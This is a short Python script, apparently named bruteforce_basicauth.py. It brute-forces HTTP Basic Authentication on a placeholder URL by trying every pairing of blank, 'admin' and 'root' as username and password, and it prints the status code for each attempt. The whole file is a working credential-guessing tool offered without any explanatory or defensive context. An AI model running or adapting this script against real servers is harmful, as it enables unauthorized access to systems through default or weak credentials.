bruteforce_basicauth.py

import base64
import requests

url = "http://foo.bar"
users = ["", "admin", "root"]

for u in users:                                           
    for uu in users:
        login = '{0}:{1}'.format(u, uu)
        h = {"Authorization": "Basic {0}".format( base64.b64encode(login) )}
        r = requests.get(url, headers=h)
        print login,  r.status_code, r.ok